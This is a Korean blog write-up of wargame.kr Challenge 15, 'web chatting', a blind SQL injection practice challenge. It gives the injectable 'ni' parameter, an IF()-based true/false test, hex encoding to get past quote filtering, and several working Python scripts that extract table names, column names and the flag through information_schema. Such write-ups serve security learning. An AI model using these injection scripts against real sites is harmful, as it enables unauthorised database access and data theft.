늘모자란, 개발 :: [wargame.kr] Challenge 15 - web chatting

늘모자란, 개발

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.


web chatting... 뭔가... 단어가.... 거슬린다.....
화면은 되게 별거 없다. 그냥 닉네임 치고 들어가서 채팅창이 하나 있는건데

콘솔이 완전 난리다. ajax chat이라서 정말 쉬지도 않고 채팅을 갱신하고 있다
반환되는 내용을 보니

'14034' 인데, 내가 글을 한번 치니 14035로 올라갔다.
즉 마지막글의 번호인모양이다.

로직은 이렇다.

http://wargame.kr:8080/web_chatting/chatlog.php?data=test 


이런식으로 데이터를 기입할 수 있고, 마지막 번호가 달라진채로 반환되면

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=14036


자신의 마지막 채팅번호도 같이 보내 그 사이의 값을 받아온다.
그렇게 반환된 데이터는

<span title='12:44:57 (10 Jun. 2016)'><b style='font-size:12px;'>3</b> <span style='font-size:9px;'>()</span> : <span style='font-size:13px; font-family:verdana;'>test</span></span><br />


이렇게 생겼다. 숫자를 바꿔보내면 지난 날의 삽질 기록들이 쭈욱 나오는데 그걸 보진 말자

요점을 보자면 chatview.php 를 이용해 flag를 반환받아야 할 것 같다. ni에 sql명령어를 쳐봤더니 반환이 되었다.
고로,

table 이름, 컬럼이름, 컬럼조회를 다시 하면 될 것 같다.
다만, 이번경우에는 union이 사용안되는듯 보여 blind injection을 사용해야 할 것 같은데, 학교에선 또 안된다.......
결국 기숙사에와서 다시 돌려보았다. 참, 구분을 구분해보기 위해서 IF를 사용해보자

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=IF(1=0,1,200)


요컨데 이런꼴로 하면 결과가 달리 리턴되는걸 확인해볼 수 있다.
블라인드 인젝션을 위한 스크립을 작성해야되는 타이밍이 왔다. 우선 테이블의 길이부터 차근차근 알아내보도록 하자

우선 테이블 이름의 길이부터 알아내야한다. 그런데 지금은 아무 단서가 없기 때문에 일반 테이블 중에서 선택하도록 해보자.
information_schema를 본사람은 알겠지만 테이블은 시스템 테이블과 base table로 나뉘어져있다. 그런데 이런 워게임같은 경우는 정말 특별한 일이 아니고서야 테이블이 단 하나만 있을 것이다. (DB별로 나뉘어서 존재하고)

고로, BASE테이블을 조회해보자.
내가 만든 쿼리는 다음과 같다.

"if((select length(table_name) from information_schema.tables where table_type=0x{} limit {},1)={},1,200)".format("BASE TABLE".encode('hex'),limit,i)


BASE TABLE을 hex화 하는건 qoute가 필터링 되있기 때문이다.
이렇게 돌리면 각자 참과 거짓일때 어떤 값을 넣을진 잘 모르겠지만 나의 경우엔 3321735로 나왔다. 이제 얘가 아닐때 출력하게 해주는 식으로 스크립트를 작성해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(100):
    data = "if((select length(table_name) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format("BASE TABLE".encode('hex'),i)
    data = urllib.quote(data)

    req = urllib2.Request(url + data , '', headers)
    response = urllib2.urlopen(req)
    if len(response.read()) != 3321735:
        print i


짧은 코드이다. 길이를 얻었으니 이제 아스키코드 매칭을 해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,여긴길이가 들어간다):
    for j in range(32,123):
        data = "if((select substr(table_name,{},1) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format(i,"BASE TABLE".encode('hex'),hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)


이렇게 하면 대 소문자가 같이 나오는데 알아서 거르도록 하자.
컬럼 길이를 따고, 컬럼 이름을 따고, 셀렉트하는 과정이 남았다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,10):
    for j in range(1,100):
        data = "if((select length(column_name) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format("테이블 이름을 적당히 잘라서%".encode('hex'),i,j)
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print i, j


컬럼 이름은 좀 골때리는데, 컬럼이 몇갠줄을 모른다.
그래서 그냥 한 열개쯤 되겠거니 해서 10*100으로 돌려보았다.
컬럼은 다섯개가 나온다. 굳이 10개로 돌리진 말라고 하는 맘에 적어본다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for k in range(1,6):
    for i in range(1,9):
        for j in range(32,92):
            data = "if((select substr(column_name,{},1) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format(i,"테이블 이름을 쓴다".encode('hex'),k,hex(j))
            data = urllib.quote(data)

            req = urllib2.Request(url + data , '', headers)
            response = urllib2.urlopen(req)

            if len(response.read()) != 3321735:
                print k, chr(j)
    print
    print



보시다시피 루프가 세개나 되기때문에 아주, 아주 오래 기다려야한다. 우리가 봐야할 컬럼은 5번이니까 그냥 limit에 5를 하는걸 권한다.
나는... 다했다....

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

pw = ''
for i in range(22,50):
    for j in range(32,92):
        data = "if((select substr(컬럼,{},1) from 테이블)={},1,200)".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)
            pw = pw + chr(j)

print pw



이렇게 하면 키를 얻을 수 있게 된다. (길이를 알아내는게 우선이지만 어차피 해쉬라고 생각했다)
그런데 워낙 많은 리퀘스트를 때리다보니 접속이 원활히 이루어질때가 있다. 개인적으로는 time.sleep(1) 등을 이용해서 약간 간격을 줘야 안정적으로 문제를 풀 수 있을 것 같다.

해결하기 위해 순수하게 오래 걸리는 문제였다.




2016/06/10 12:52 2016/06/10 12:52